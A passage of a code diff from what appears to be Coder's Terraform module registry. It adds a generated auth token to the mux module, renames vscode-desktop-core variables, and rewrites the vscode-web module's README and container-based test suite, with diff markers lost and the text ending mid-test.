# multiple mux module instances can target the same agent (different slug/port).
|
||||
# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions.
|
||||
resource "random_password" "mux_auth_token" {
|
||||
length = 64
|
||||
special = false
|
||||
}
|
||||
|
||||
locals {
|
||||
mux_auth_token = random_password.mux_auth_token.result
|
||||
}
|
||||
|
||||
resource "coder_script" "mux" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "mux"
|
||||
display_name = var.display_name
|
||||
icon = "/icon/mux.svg"
|
||||
script = templatefile("${path.module}/run.sh", {
|
||||
VERSION : var.install_version,
|
||||
PORT : var.port,
|
||||
LOG_PATH : var.log_path,
|
||||
ADD_PROJECT : var.add-project,
|
||||
ADD_PROJECT : var.add-project == null ? "" : var.add-project,
|
||||
INSTALL_PREFIX : var.install_prefix,
|
||||
OFFLINE : !var.install,
|
||||
USE_CACHED : var.use_cached,
|
||||
AUTH_TOKEN : local.mux_auth_token,
|
||||
})
|
||||
run_on_start = true
|
||||
|
||||
@@ -140,7 +161,7 @@ resource "coder_app" "mux" {
|
||||
agent_id = var.agent_id
|
||||
slug = var.slug
|
||||
display_name = var.display_name
|
||||
url = "http://localhost:${var.port}"
|
||||
url = "http://localhost:${var.port}?token=${local.mux_auth_token}"
|
||||
icon = "/icon/mux.svg"
|
||||
subdomain = var.subdomain
|
||||
share = var.share
|
||||
@@ -154,5 +175,3 @@ resource "coder_app" "mux" {
|
||||
threshold = 6
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" {
|
||||
]
|
||||
}
|
||||
|
||||
# Needs command = apply because the URL contains random_password.result,
|
||||
# which is unknown during plan.
|
||||
run "custom_port" {
|
||||
command = plan
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
@@ -29,8 +31,51 @@ run "custom_port" {
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = resource.coder_app.mux.url == "http://localhost:8080"
|
||||
error_message = "coder_app URL must use the configured port"
|
||||
condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=")
|
||||
error_message = "coder_app URL must use the configured port and include auth token"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result
|
||||
error_message = "URL token must match the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
# Needs command = apply because random_password.result is unknown during plan.
|
||||
run "auth_token_in_server_script" {
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=")
|
||||
error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result)
|
||||
error_message = "mux launch script must use the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
# Needs command = apply because random_password.result is unknown during plan.
|
||||
run "auth_token_in_url" {
|
||||
command = apply
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=")
|
||||
error_message = "coder_app URL must include auth token query parameter"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result
|
||||
error_message = "URL token must match the generated auth token"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,5 +107,3 @@ run "use_cached_only_success" {
|
||||
use_cached = true
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -9,7 +9,9 @@ function run_mux() {
|
||||
rm -f "$HOME/.mux/server.lock"
|
||||
|
||||
local port_value
|
||||
local auth_token_value
|
||||
port_value="${PORT}"
|
||||
auth_token_value="${AUTH_TOKEN}"
|
||||
if [ -z "$port_value" ]; then
|
||||
port_value="4000"
|
||||
fi
|
||||
@@ -20,7 +22,7 @@ function run_mux() {
|
||||
fi
|
||||
echo "🚀 Starting mux server on port $port_value..."
|
||||
echo "Check logs at ${LOG_PATH}!"
|
||||
PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
|
||||
MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
|
||||
}
|
||||
|
||||
# Check if mux is already installed for offline mode
|
||||
|
||||
@@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo
|
||||
```tf
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
web_app_icon = "/icon/code.svg"
|
||||
web_app_slug = "vscode"
|
||||
web_app_display_name = "VS Code Desktop"
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
coder_app_icon = "/icon/code.svg"
|
||||
coder_app_slug = "vscode"
|
||||
coder_app_display_name = "VS Code Desktop"
|
||||
coder_app_order = var.order
|
||||
coder_app_group = var.group
|
||||
|
||||
folder = var.folder
|
||||
open_recent = var.open_recent
|
||||
|
||||
@@ -11,9 +11,9 @@ const appName = "vscode-desktop";
|
||||
const defaultVariables = {
|
||||
agent_id: "foo",
|
||||
|
||||
web_app_icon: "/icon/code.svg",
|
||||
web_app_slug: "vscode",
|
||||
web_app_display_name: "VS Code Desktop",
|
||||
coder_app_icon: "/icon/code.svg",
|
||||
coder_app_slug: "vscode",
|
||||
coder_app_display_name: "VS Code Desktop",
|
||||
|
||||
protocol: "vscode",
|
||||
};
|
||||
@@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => {
|
||||
);
|
||||
|
||||
expect(coder_app?.instances[0].attributes.slug).toBe(
|
||||
defaultVariables.web_app_slug,
|
||||
defaultVariables.coder_app_slug,
|
||||
);
|
||||
expect(coder_app?.instances[0].attributes.display_name).toBe(
|
||||
defaultVariables.web_app_display_name,
|
||||
defaultVariables.coder_app_display_name,
|
||||
);
|
||||
});
|
||||
|
||||
it("sets order", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
web_app_order: "5",
|
||||
coder_app_order: "5",
|
||||
|
||||
...defaultVariables,
|
||||
});
|
||||
@@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => {
|
||||
|
||||
it("sets group", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
web_app_group: "web-app-group",
|
||||
coder_app_group: "web-app-group",
|
||||
|
||||
...defaultVariables,
|
||||
});
|
||||
|
||||
@@ -31,28 +31,28 @@ variable "protocol" {
|
||||
description = "The URI protocol the IDE."
|
||||
}
|
||||
|
||||
variable "web_app_icon" {
|
||||
variable "coder_app_icon" {
|
||||
type = string
|
||||
description = "The icon of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_slug" {
|
||||
variable "coder_app_slug" {
|
||||
type = string
|
||||
description = "The slug of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_display_name" {
|
||||
variable "coder_app_display_name" {
|
||||
type = string
|
||||
description = "The display name of the coder_app."
|
||||
}
|
||||
|
||||
variable "web_app_order" {
|
||||
variable "coder_app_order" {
|
||||
type = number
|
||||
description = "The order of the coder_app."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "web_app_group" {
|
||||
variable "coder_app_group" {
|
||||
type = string
|
||||
description = "The group of the coder_app."
|
||||
default = null
|
||||
@@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" {
|
||||
agent_id = var.agent_id
|
||||
external = true
|
||||
|
||||
icon = var.web_app_icon
|
||||
slug = var.web_app_slug
|
||||
display_name = var.web_app_display_name
|
||||
icon = var.coder_app_icon
|
||||
slug = var.coder_app_slug
|
||||
display_name = var.coder_app_display_name
|
||||
|
||||
order = var.web_app_order
|
||||
group = var.web_app_group
|
||||
order = var.coder_app_order
|
||||
group = var.coder_app_group
|
||||
|
||||
url = join("", [
|
||||
var.protocol,
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "vscode" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-desktop/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "vscode" {
|
||||
module "vscode" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-desktop/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
|
||||
@@ -40,7 +40,7 @@ variable "group" {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -8,13 +8,13 @@ tags: [ide, vscode, web]
|
||||
|
||||
# VS Code Web
|
||||
|
||||
Automatically install [Visual Studio Code Server](https://code.visualstudio.com/docs/remote/vscode-server) in a workspace and create an app to access it via the dashboard.
|
||||
Automatically install the [VS Code CLI](https://code.visualstudio.com/docs/editor/command-line) and run `code serve-web` in a workspace to access VS Code via the browser.
|
||||
|
||||
```tf
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "2.0.0"
|
||||
agent_id = coder_agent.example.id
|
||||
accept_license = true
|
||||
}
|
||||
@@ -30,7 +30,7 @@ module "vscode-web" {
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "2.0.0"
|
||||
agent_id = coder_agent.example.id
|
||||
install_prefix = "/home/coder/.vscode-web"
|
||||
folder = "/home/coder"
|
||||
@@ -44,22 +44,22 @@ module "vscode-web" {
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "2.0.0"
|
||||
agent_id = coder_agent.example.id
|
||||
extensions = ["github.copilot", "ms-python.python", "ms-toolsai.jupyter"]
|
||||
accept_license = true
|
||||
}
|
||||
```
|
||||
|
||||
### Pre-configure Settings
|
||||
### Pre-configure Machine Settings
|
||||
|
||||
Configure VS Code's [settings.json](https://code.visualstudio.com/docs/getstarted/settings#_settings-json-file) file:
|
||||
Configure VS Code's [Machine settings.json](https://code.visualstudio.com/docs/getstarted/settings#_settings-json-file). These settings are merged with any existing machine settings on startup:
|
||||
|
||||
```tf
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
version = "2.0.0"
|
||||
agent_id = coder_agent.example.id
|
||||
extensions = ["dracula-theme.theme-dracula"]
|
||||
settings = {
|
||||
@@ -69,20 +69,7 @@ module "vscode-web" {
|
||||
}
|
||||
```
|
||||
|
||||
### Pin a specific VS Code Web version
|
||||
|
||||
By default, this module installs the latest. To pin a specific version, retrieve the commit ID from the [VS Code Update API](https://update.code.visualstudio.com/api/commits/stable/server-linux-x64-web) and verify its corresponding release on the [VS Code GitHub Releases](https://github.com/microsoft/vscode/releases).
|
||||
|
||||
```tf
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
commit_id = "e54c774e0add60467559eb0d1e229c6452cf8447"
|
||||
accept_license = true
|
||||
}
|
||||
```
|
||||
> **Note:** Merging settings requires `jq` or `python3`. If neither is available, existing machine settings will be preserved. User settings configured through the VS Code UI are stored in browser local storage and will not persist across different browsers or devices.
|
||||
|
||||
### Open an existing workspace on startup
|
||||
|
||||
@@ -91,10 +78,43 @@ Note: Either `workspace` or `folder` can be used, but not both simultaneously. T
|
||||
|
||||
```tf
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
workspace = "/home/coder/coder.code-workspace"
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "2.0.0"
|
||||
agent_id = coder_agent.example.id
|
||||
workspace = "/home/coder/coder.code-workspace"
|
||||
accept_license = true
|
||||
}
|
||||
```
|
||||
|
||||
### Use VS Code Insiders
|
||||
|
||||
Use the VS Code Insiders release channel to get the latest features and bug fixes:
|
||||
|
||||
```tf
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "2.0.0"
|
||||
agent_id = coder_agent.example.id
|
||||
release_channel = "insiders"
|
||||
accept_license = true
|
||||
}
|
||||
```
|
||||
|
||||
### Pin a specific VS Code version
|
||||
|
||||
Use the `commit_id` variable to pin a specific VS Code Server version by its commit SHA:
|
||||
|
||||
```tf
|
||||
module "vscode-web" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/vscode-web/coder"
|
||||
version = "2.0.0"
|
||||
agent_id = coder_agent.example.id
|
||||
commit_id = "e54c774e0add60467559eb0d1e229c6452cf8447"
|
||||
accept_license = true
|
||||
}
|
||||
```
|
||||
|
||||
You can find the commit SHA for a specific VS Code version on the [VS Code releases page](https://code.visualstudio.com/updates) or by checking the "About" dialog in VS Code.
|
||||
|
||||
@@ -1,42 +1,793 @@
|
||||
import { describe, expect, it } from "bun:test";
|
||||
import { runTerraformApply, runTerraformInit } from "~test";
|
||||
import {
|
||||
describe,
|
||||
expect,
|
||||
it,
|
||||
beforeAll,
|
||||
afterEach,
|
||||
setDefaultTimeout,
|
||||
} from "bun:test";
|
||||
import {
|
||||
runTerraformApply,
|
||||
runTerraformInit,
|
||||
runContainer,
|
||||
execContainer,
|
||||
removeContainer,
|
||||
findResourceInstance,
|
||||
} from "~test";
|
||||
|
||||
// Set timeout to 5 minutes for tests that download VS Code CLI
|
||||
setDefaultTimeout(5 * 60 * 1000);
|
||||
|
||||
let cleanupContainers: string[] = [];
|
||||
|
||||
afterEach(async () => {
|
||||
for (const id of cleanupContainers) {
|
||||
try {
|
||||
await removeContainer(id);
|
||||
} catch {
|
||||
// Ignore cleanup errors
|
||||
}
|
||||
}
|
||||
cleanupContainers = [];
|
||||
});
|
||||
|
||||
describe("vscode-web", async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
|
||||
it("accept_license should be set to true", () => {
|
||||
const t = async () => {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: "false",
|
||||
});
|
||||
};
|
||||
expect(t).toThrow("Invalid value for variable");
|
||||
beforeAll(async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
});
|
||||
|
||||
it("use_cached and offline can not be used together", () => {
|
||||
const t = async () => {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: "true",
|
||||
use_cached: "true",
|
||||
offline: "true",
|
||||
});
|
||||
};
|
||||
expect(t).toThrow("Offline and Use Cached can not be used together");
|
||||
describe("terraform validation", () => {
|
||||
it("accept_license should be set to true", async () => {
|
||||
try {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: false,
|
||||
});
|
||||
throw new Error("Expected terraform apply to fail");
|
||||
} catch (ex) {
|
||||
expect((ex as Error).message).toContain("Invalid value for variable");
|
||||
}
|
||||
});
|
||||
|
||||
it("use_cached and offline can not be used together", async () => {
|
||||
try {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
use_cached: true,
|
||||
offline: true,
|
||||
});
|
||||
throw new Error("Expected terraform apply to fail");
|
||||
} catch (ex) {
|
||||
expect((ex as Error).message).toContain(
|
||||
"Offline and Use Cached can not be used together",
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("offline and extensions can not be used together", async () => {
|
||||
try {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
offline: true,
|
||||
extensions: '["ms-python.python"]',
|
||||
});
|
||||
throw new Error("Expected terraform apply to fail");
|
||||
} catch (ex) {
|
||||
expect((ex as Error).message).toContain(
|
||||
"Offline mode does not allow extensions to be installed",
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("workspace and folder can not be used together", async () => {
|
||||
try {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
folder: "/home/coder",
|
||||
workspace: "/home/coder/test.code-workspace",
|
||||
});
|
||||
throw new Error("Expected terraform apply to fail");
|
||||
} catch (ex) {
|
||||
expect((ex as Error).message).toContain(
|
||||
"Set only one of `workspace` or `folder`",
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it("offline and extensions can not be used together", () => {
|
||||
const t = async () => {
|
||||
await runTerraformApply(import.meta.dir, {
|
||||
describe("script generation", () => {
|
||||
it("generates script with correct port", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: "true",
|
||||
offline: "true",
|
||||
extensions: '["1", "2"]',
|
||||
accept_license: true,
|
||||
port: 8080,
|
||||
});
|
||||
};
|
||||
expect(t).toThrow("Offline mode does not allow extensions to be installed");
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
expect(script.script).toContain("--port 8080");
|
||||
});
|
||||
|
||||
it("generates script with extensions directory", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
extensions_dir: "/custom/extensions",
|
||||
});
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
expect(script.script).toContain("--extensions-dir=/custom/extensions");
|
||||
});
|
||||
|
||||
it("generates script with telemetry level", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
telemetry_level: "off",
|
||||
});
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
expect(script.script).toContain("--telemetry-level off");
|
||||
});
|
||||
|
||||
it("generates script with disable trust", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
disable_trust: true,
|
||||
});
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
expect(script.script).toContain("--disable-workspace-trust");
|
||||
});
|
||||
|
||||
it("generates script with serve-web command", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
});
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
expect(script.script).toContain("serve-web");
|
||||
expect(script.script).toContain("--accept-server-license-terms");
|
||||
expect(script.script).toContain("--without-connection-token");
|
||||
});
|
||||
|
||||
it("generates script with stable release channel by default", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
});
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
expect(script.script).toContain("build=stable");
|
||||
});
|
||||
|
||||
it("generates script with insiders release channel", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
release_channel: "insiders",
|
||||
});
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
expect(script.script).toContain("build=insiders");
|
||||
});
|
||||
|
||||
it("generates script without commit-id value when not specified", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
});
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
// The if condition should have an empty string, so no commit-id value is passed
|
||||
expect(script.script).toContain('if [ -n "" ]; then');
|
||||
// Should not contain any actual commit hash
|
||||
expect(script.script).not.toMatch(/--commit-id [a-f0-9]{40}/);
|
||||
});
|
||||
|
||||
it("generates script with commit-id when specified", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
commit_id: "e54c774e0add60467559eb0d1e229c6452cf8447",
|
||||
});
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
expect(script.script).toContain(
|
||||
"--commit-id e54c774e0add60467559eb0d1e229c6452cf8447",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// More tests depend on shebang refactors
|
||||
describe("container integration tests", () => {
|
||||
it("uses existing code CLI in PATH", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create a mock code CLI that logs when serve-web is called
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
if [ "\$1" = "serve-web" ]; then
|
||||
echo "MOCK_SERVER_STARTED with args: \$@"
|
||||
exit 0
|
||||
fi
|
||||
echo "code mock called: \$@"
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
// Run the script - the mock will capture the serve-web call
|
||||
const result = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Found VS Code CLI");
|
||||
});
|
||||
|
||||
it("offline mode fails when CLI not present", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
offline: true,
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const result = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
|
||||
expect(result.exitCode).toBe(1);
|
||||
expect(result.stdout).toContain(
|
||||
"Offline mode enabled but no VS Code CLI, code-server, or cached VS Code Server found",
|
||||
);
|
||||
});
|
||||
|
||||
it("offline mode uses code-server as fallback", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
offline: true,
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Install mock code-server in PATH
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code-server << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
echo "MOCK_CODE_SERVER_STARTED with args: $@"
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code-server`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const result = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("offline fallback");
|
||||
expect(result.stdout).toContain("Starting code-server");
|
||||
});
|
||||
|
||||
it("offline mode works with pre-installed CLI", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
offline: true,
|
||||
install_prefix: "/tmp/vscode-web",
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Pre-install mock code CLI at expected location
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /tmp/vscode-web/bin && cat > /tmp/vscode-web/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
if [ "\$1" = "serve-web" ]; then
|
||||
echo "MOCK_OFFLINE_SERVER_STARTED"
|
||||
exit 0
|
||||
fi
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /tmp/vscode-web/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const result = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Using cached VS Code CLI");
|
||||
expect(result.stdout).toContain("Starting VS Code Web");
|
||||
});
|
||||
|
||||
it("use_cached mode works with pre-installed CLI", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
use_cached: true,
|
||||
install_prefix: "/tmp/vscode-web",
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Pre-install mock code CLI
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /tmp/vscode-web/bin && cat > /tmp/vscode-web/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
if [ "\$1" = "serve-web" ]; then
|
||||
echo "MOCK_CACHED_SERVER_STARTED"
|
||||
exit 0
|
||||
fi
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /tmp/vscode-web/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const result = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Using cached VS Code CLI");
|
||||
});
|
||||
|
||||
it("creates settings file with correct content", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
settings: '{"editor.fontSize": 14}',
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create a mock code CLI
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
await execContainer(containerId, ["bash", "-c", script.script]);
|
||||
|
||||
// Check that settings file was created
|
||||
const settingsResult = await execContainer(containerId, [
|
||||
"cat",
|
||||
"/root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
|
||||
expect(settingsResult.exitCode).toBe(0);
|
||||
expect(settingsResult.stdout).toContain("editor.fontSize");
|
||||
expect(settingsResult.stdout).toContain("14");
|
||||
});
|
||||
|
||||
it("creates settings file with multiple settings", async () => {
|
||||
const settings = {
|
||||
"editor.fontSize": 16,
|
||||
"editor.tabSize": 2,
|
||||
"workbench.colorTheme": "Dracula",
|
||||
"editor.formatOnSave": true,
|
||||
};
|
||||
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
settings: JSON.stringify(settings),
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create a mock code CLI
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
await execContainer(containerId, ["bash", "-c", script.script]);
|
||||
|
||||
// Check that settings file was created with all settings
|
||||
const settingsResult = await execContainer(containerId, [
|
||||
"cat",
|
||||
"/root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
|
||||
expect(settingsResult.exitCode).toBe(0);
|
||||
expect(settingsResult.stdout).toContain("editor.fontSize");
|
||||
expect(settingsResult.stdout).toContain("16");
|
||||
expect(settingsResult.stdout).toContain("editor.tabSize");
|
||||
expect(settingsResult.stdout).toContain("2");
|
||||
expect(settingsResult.stdout).toContain("workbench.colorTheme");
|
||||
expect(settingsResult.stdout).toContain("Dracula");
|
||||
expect(settingsResult.stdout).toContain("editor.formatOnSave");
|
||||
expect(settingsResult.stdout).toContain("true");
|
||||
});
|
||||
|
||||
it("creates settings file in correct directory structure", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
settings: '{"test.setting": "value"}',
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create a mock code CLI
|
